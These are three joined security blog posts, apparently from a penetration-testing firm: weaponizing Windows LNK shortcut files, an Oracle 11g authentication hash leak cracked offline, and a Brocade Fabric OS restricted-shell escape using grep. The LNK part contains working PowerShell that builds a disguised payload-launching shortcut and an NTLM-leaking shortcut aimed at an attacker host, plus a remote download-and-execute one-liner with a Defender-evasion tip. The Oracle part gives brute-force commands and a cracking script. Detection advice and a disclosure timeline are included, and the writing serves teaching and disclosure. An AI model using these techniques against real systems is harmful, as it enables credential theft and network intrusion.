LNK files are Windows shortcut files designed to provide access to applications, files, or folders. Desktop shortcuts of browsers, or any other program, are basically LNK files polished with the appropriate icons (e.g. the Firefox icon of the Firefox Desktop shortcut). In their core, they are files with a set of instructions for the OS to execute: where the shortcut icon is stored, where the actual program executable is located, if there are any arguments to pass on etc. Although created for benign use and UX ease, those features can be abused. For attackers, LNK files are a powerful tool for executing code and credential theft, allowing them to gain access and move laterally into the network. They are dangerous because: They can execute commands  without user interaction in some contexts (e.g., icon loading). They can be made to look like documents (Invoice.pdf.lnk) with convincing icons . They are part of the native Windows functionality , i.e. no macro warnings, no scripting. There have been numerous campaigns during the past year by APTs, where the attackers utilized LNK files: North Korean APT delivered an LNK file that was used to further download an execute malware on the target machine ( Source ) Suspected Asian APT delivered an LNK file that created a scheduled task on the target machine to pull down further payloads ( Source ) https://www.proofpoint.com/sites/default/files/inline-images/Screenshot%202024-12-11%20at%209.34.02%E2%80%AFAM.png In this article we'll explore some ways an LNK file can be weaponized, both before infection and after getting the initial foothold in the network. Triggering the infection chain Modern malware infection techniques such as the above-mentioned examples involve a trigger, which is the initial stage of infection, where the victim clicks on it. This usually triggers two commands: the decoy, which is to convince the victim into believing that they clicked on something benign, and the actual payload which contains the malicious code. An LNK file can be used as a trigger, since an attacker controls its icon (they can make it look like the filetype of the decoy) and they can make the file execute OS commands, upon opening it, by creating a shortcut to %COMSPEC%, which is the environment variable of CMD.EXE, and also pass arguments. $wsh = New-Object -ComObject WScript.Shell $lnk = $wsh.CreateShortcut("C:\\\\Users\\\\user1\\\\Desktop\\\\report.pdf.lnk") $lnk.TargetPath = "%COMSPEC%" $lnk.Arguments = "/C start payload.exe && start decoy.pdf" $lnk.IconLocation = "C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe,13" $lnk.Save() Arguments may also include downloading files needed for the infection, the actual malware, or whatever the campaign needs, with any added obfuscation and AV/EDR evasion. Detection and Mitigation Admins should be wary of this behavior. Defenders can look for: LNK files spawning command interpreters  or LOLBINs  like powershell, CMD, mshta, etc. File creation of suspicious LNK files Identify shortcut files with remote icons To reduce exposure: Block Windows from resolving LNK icons that point to remote shares  (especially over SMB) Block or quarantine LNK files sent via email or within ZIP/RAR attachments Prevent execution of unauthorized programs or scripting engines launched via .LNK files Harvesting NTLM Hashes in SMB Shares In internal Active Directory environments where trust relationships and Windows features intersect, we can leverage default behavior to collect NTLM hashes — sometimes even without user interaction. In this technique an LNK file dropped into a shared folder can silently cause domain users and machines to leak NTLM hashes to an attacker-controlled host. The Scenario This technique is a post-exploitation technique where one has already access to the AD environment and the ability to receive SMB authentication requests (e.g. with smbserver.py ). From that foothold, you identify a writable SMB share used by other users in the organization. The goal is to make a user or a machine authenticate to the host smbserver.py  is running. The LNK Trick When Windows Explorer encounters a LNK file, even if the user doesn’t click it, the OS may try to resolve its icon or target path. If these point to a UNC path (e.g., \\\\\\\\attacker\\\\something), Windows will try to authenticate to that server via SMB. If that server is running an SMB service like smbserver.py , the NTLMv2 hash is captured immediately. Creating the Weaponized Shortcut The LNK file can be created using PowerShell’s WScript.Shell  COM object. Here’s what the logic looks like: $objShell = New-Object -ComObject WScript.Shell $lnk = $objShell.CreateShortcut("\\\\\\\\WRITEABLE_SMB_SHARE_IP\\\\SHARE\\\\@report.pdf.lnk") $lnk.TargetPath = "\\\\\\\\CONTROLLED_HOST\\\\@threat.png" $lnk.WindowStyle = 1 $lnk.IconLocation = "%windir%\\\\system32\\\\shell32.dll, 3" $lnk.HotKey = "Ctrl+Alt+O" $lnk.Save() The important part is the TargetPath references a file on the attacker-controlled IP. When the link is viewed, Windows tries to fetch that path. The moment it does, it leaks credentials. Execution From your session, or any other shell on the compromised host, you run the PowerShell script: powershell -Command "& ([ScriptBlock]::Create((New-Object Net.WebClient).DownloadString('https://LNK_DROPPER_ORIGIN/lnkdrop.ps1')))" 🔕 Note: You may be tempted to use -ExecutionPolicy Bypass here, but in my testing, that actually triggered Microsoft Defender. Running the command without that flag succeeded without alerts. As soon as the LNK file is created in the shared folder, it’s live. The Payoff Even before a real user interacts with the file, you’ll often see NTLM hashes in smbserver.py  — usually from the compromised machine itself, since it triggers resolution just by copying the file into the share. When a domain user views it in Windows Explorer, you see their NTLMv2 hash sent to your smbserver.py  host. [+] NTLMv2-SSP Hash : DOMAIN\\\\\\\\User::DOMAIN:112233445566778899... That hash can then be cracked offline with john or hashcat, or used in pass-the-hash attacks depending on the environment and the version of the NTLM hash. Why This Works This technique relies entirely on default Windows behavior. LNK files with UNC paths cause the OS to authenticate to the destination as part of the rendering process. This is used legitimately for network shortcuts and icon paths, but it also creates a quiet credential-leak vector. In many networks, outbound SMB or NTLM authentication to internal systems is allowed — and that's the opening. Detection and Mitigation Admins should be wary of this behavior. Defenders can look for: LNK files on shared folders pointing to external or uncommon IPs SMB traffic to internal hosts not normally used for file sharing Outbound NTLM authentication from endpoints to suspicious IPs To reduce exposure: Block outbound SMB and NTLM where unnecessary Enforce SMB signing and NTLM hardening via GPO Monitor for the creation or use of LNK files in shared folders

During an internal penetration test we discovered an Oracle database of version 11g Release 2 in the client’s network. This outdated software of this database is vulnerable to an information leak during the authentication procedure. This flaw allows an attacker to steal a hash that’s signed with the client’s credentials that is being used to authenticate the client. An attacker that attempts to connect with a potential client’s username can steal this hash and perform an offline dictionary attack, also known as “stealth password brute force” attack. Like every information leak vulnerability, it is a very interesting attack because it’s a fundamental flaw in the logical thinking of the developer. Plus, we love cracking passwords. That made us look more into it and understand how this works in the background below the high-level description given by Hacktricks , the initial place where we found this type of attack. Oracle Database and Communication Protocol First we have to understand how the Oracle DB is structured. The architecture of the Oracle DB is consisted of: The client the database server, which contains the TNS listener the database instance and the database’s files and the actual data https://www.oracletutorial.com/oracle-administration/oracle-database-architecture/ The TNS listener is the component responsible for communicating with the crucial parts of the database server, i.e. the database instance and the database itself. It uses the TNS protocol to communicate with the client and receive commands and requests such as authenticating, fingerprinting, SID discovery etc. (more about this later!). TNS Protocol The TNS protocol is a proprietary protocol owned by Oracle. It’s build on top of TCP/IP and other technologies such as SDP, IPX/SPX, IPC etc. In the context of Oracle databases, TNS is used over the TCP/IP protocol. A fair bit of the protocol has been reversed engineered, giving us more insight  of it’s function . Just as explained in this article , the TNS packet is consisted of a header and the payload: 0 8 16 31 +--------------+--------------+ | Packet Length| Packet Chksm | +------+-------+--------------+ 8 byte header | Type | Rsrvd | Header Chksm | +------+-------+--------------+ | P A Y L O A D | +-----------------------------+ For the purpose of our article, the important part of a packet is its type and, of course, the payload. The packet type declares the purpose of the packet, i.e. whether the packet’s purpose is to transfer data, to refuse or accept a connection, to demand a resend of the last packet received etc. The packet types are: Connect Accept ACK Refuse Redirect Data NULL - ABORT - Resend Marker Attention Control Packet type 6 is indicating the transfer of data, which is contained in the payload section. Packets of type 6 have a data flag, that indicates the type of data packet sent. The structure of the data flag is as follows: Data Flag: 0x0000 .... .... .... ...x = Send Token .... .... .... ..x. = Request Confirmation .... .... .... .x.. = Confirmation .... .... .... x... = Reserved .... .... ..x. .... = More Data to Come .... .... .x.. .... = End of File .... .... x... .... = Do Immediate Confirmation .... ...x .... .... = Request To Send .... ..x. .... .... = Send NT Trailer Data flag’s default value for data transfer is 0x0000. The flag 0x0001 indicates sending a token, 0x0002 a request confirmation etc. An important flag is 0x0040 which indicates the end of file, i.e. end of data transferring. Authentication Protocol and Information Leak As already mentioned, the authentication procedure uses the TNS protocol for communication between the client and the server. The authentication is being carried out in the following steps: The client sends the username after having established a connection with the database through the TNS listener The server creates a session for the client, encrypts it with AES-192 by using the SHA-1 hash of the username’s password and the salt as the key. The pair of the encrypted session and the salt, namely AUTH_SESSKEY and AUTH_VFR_DATA, are being sent to the client. Given that the client is legitimate and has knowledge over the password, they decrypt the session with the hash of the password and the salt as the key. With this session, the client creates a public key, which is being used for the communication. The Problem The problem lies to the way the TNS protocol handles the authentication. The session ID that the server sends the client is 48 bytes long. Out of those 48 bytes, the the first 40 are random bytes and the last 8 are 0x08 bytes. Having the last 8 0x08 bytes as an identifier of a valid AUTH_SESSKEY an attacker can perform an offline dictionary attack against it, which will be much faster than launching a dictionary attack against the login process of the database. Attacking Prerequisites of this attack are: A valid username of the database The SID of the target database Where SID stands for System ID and it is the identifier of a database (basically its name). The path we used for extracting the encrypted passwords from our client’s database was: Fingerprint the version of the Oracle database and determine whether it is vulnerable or not Enumerate the available databases through SID bruteforcing Attempt to extract users’ encrypted passwords from the found SIDs through username bruteforcing Crack the obtained encrypted passwords offline through a PoC script Thankfully, nmap has some very helpful scripts and wordlists to assist us in the first 3 steps of the attack path. Version Discovery In version discovery (or fingerprinting) the client engages in a TNS conversation with the server, in which the client starts with a specific query and basically “asks” for the TNS version. Command: nmap -sV -p 1521 Client → Server: (CONNECT_DATA=(COMMAND=version)) Server → Client (DESCRIPTION=(TMP=)(VSNNUM=185599744)(ERR=0)) Server → Client TNSLSNR for 64-bit Windows: Version 11.1.0.7.0 - Production TNS for 64-bit Windows: Version 11.1.0.7.0 - Production Oracle Bequeath NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production Windows NT Named Pipes NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production Windows NT TCP/IP NT Protocol Adapter for 64-bit Windows: Version 11.1.0.7.0 - Production,, Server → Client [A data packet with the data flag 0x0040 End Of File, i.e. no more data are to be sent] The server provides the client the version, which is version 11.1.0.7.0. This version is vulnerable to the the attack. SID Bruteforcing After determining that the target’s TNS version is vulnerable, we proceed with finding the SIDs of the existing databases. There are some default ones such as XE and ORCL but the custom ones should be more “juicy”, as it’s more probable to include custom accounts. During the bruteforcing, the attacker loops over different SID names and attempts to connect to them: If the SID does not exist, the server returns a packet with ID 4, i.e. Refuse. If, however, the SID exists, the server returns a packet with ID 11, i.e. Resend. Command: nmap -p 1521 --script oracle-sid-brute.nse [--script-args=oraclesids=/path/to/sidfile] Client → Server: Attempting to connect to a database with the query (DESCRIPTION=(CONNECT_DATA=(SID=ORCL)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=IP)(PORT=1521))) Server → Client: If the SID does not exist: (DESCRIPTION=(TMP=)(VSNNUM=185599744)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4)))) If the SID exists: sends a packet without a payload and with a packet ID 11, i.e. Resend Encrypted Passwords Extraction With a valid SID we can start attempting to authenticate against the database with possible usernames, either using the nmap wordlist or with our own one. As explained previously, we do not need to provide a password, as the authentication protocol will provide us the encrypted passwords signed with the hash of our user’s password and salt, which we can later crack offline. Command: nmap -p 1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid= Client → Server: Try and connect to the database with SID XE with the query (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=IP)(PORT=1521)) (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=XE)(CID= (PROGRAM=sqlplus)(HOST=IP)(USER=nmap)))) Server → Client: Sends a packet without a payload and with a packet ID 11, i.e. Resend Client → Server: Same as Step 1 Server → Client: Sends a packet without a payload and with a packet ID 2, i.e. Accept Client → Server: The client sends a series of data packet requests to negotiate connection features such as Secure Network Services, Set Protocol, and Set Datatypes Server → Client: The server responds to these requests Client → Server: The client sends a data packet and requests to authenticate as the user HR with the query (decoded from HEX to ASCII) HR AUTH_TERMINALpts/66AUTH_PROGRAM_NMsqlplus@nmap_6686 (TNS V1-V3)AUTH_MACHINEnmap_targetAUTH_PID9706AUTH_SID nmap_11925 Server → Client: If the account doesn’t exist, the server responds with a data packet that includes a smaller encrypted string and the default salt 00000000390900001a000000 If the account exists, the server responds with a data packet including the encrypted password and the correct salt Observing the last two steps with Wireshark: In the end the nmap output will look like this: Password Cracking There is a PoC script  written in Python 2 for cracking those passwords. The script basically attempts to decrypt the provided string with the SHA-1 hash of the candidate password and the salt provided by the server. Since it is 2023, we rewrote the script in Python 3 import hashlib from Crypto.Cipher import AES import binascii def decrypt(session,salt,password): pass_hash = hashlib.sha1(password.encode() + salt) key = pass_hash.digest() + b'\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain session_hex = '' # AUTH_SESSKEY salt_hex = '' # AUTH_VFR_DATA passwords = ['test','password', 'passw0rd', 'CHANGE_ON_INSTALL', 'oracle','demo'] for password in passwords: session_id = decrypt(binascii.unhexlify(session_hex),binascii.unhexlify(salt_hex),password) print('Decrypted session_id for password "%s" is %s' % (password,binascii.hexlify(session_id))) if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08': print('PASSWORD IS "%s"' % password) break

Broadcom  offers a number of products and networking solutions such as switches, extensions etc. These products come with their own operating system, i.e. the Fabric OS. It is a lightweight OS that upon logging in through ssh  or telnet  one is found within the restricted environment of rbash . The user is not able to execute any of the known system commands, such as ls , echo , cd , cat , etc but only some available custom commands the developers have made themselves e.g. ... iflshow Display edge switch FCR connection information interfaceshow Display the FSPF (TM) interface information iodset Manage the in-order delivery (IOD) option iodshow Display the state of the in-order delivery option ipaddrset Set ethernet and FC IP addresses ipaddrshow Print ethernet and FC IP addresses islshow Display the current connections and status ... One of the available commands is the classic system command grep . The system also allows pipelines | , which explains the reason for them to allow the use of grep HOSTNAME:user> ipaddrshow SWITCH Ethernet IP Address: 10.115.76.184 Ethernet Subnetmask: 255.255.254.0 Gateway IP Address: 10.115.76.251 DHCP: Off HOSTNAME:user> ipaddrshow |grep Gateway Gateway IP Address: 10.115.76.251 HOSTNAME:user> By leaving grep  available one can read underlying system files by searching for the empty pattern '' . The files one has access to depend on the authenticated user's privileges. HOSTNAME:user> cat /etc/group rbash: cat: command not found HOSTNAME:user> ls /etc/group rbash: ls: command not found HOSTNAME:user> grep '' /etc/group root::0:root sys::3:root,bin smmsp::25:smmsp nobody::99: users::100: utmp:x:102: admin::600:admin,root user::602:user,admin,root switchadmin::604: operator::605: zoneadmin::606: fabricadmin::607: basicswitchadmin::608: securityadmin::609: udrole::550: HOSTNAME:user> The issue was discovered during a penetration test with Bitcrack’s  red team and reported to Broadcom's PSIRT. Broadcom's internal security audit had already discovered it earlier and had scheduled a fix for all Brocade Fabric OS 9.1.1 and upper releases before we notified them. Timeline Reported to Broadcom's PSIRT: 26/9/2022 First response and redirecting us to Brocade SIRT: 26/9/2022 Second response letting us know of the found issue: 5/10/2022 Clarifications and ask for permission to post on our blog: 10/10/2022 No response from Broadcom, release of the article: 29/11/2022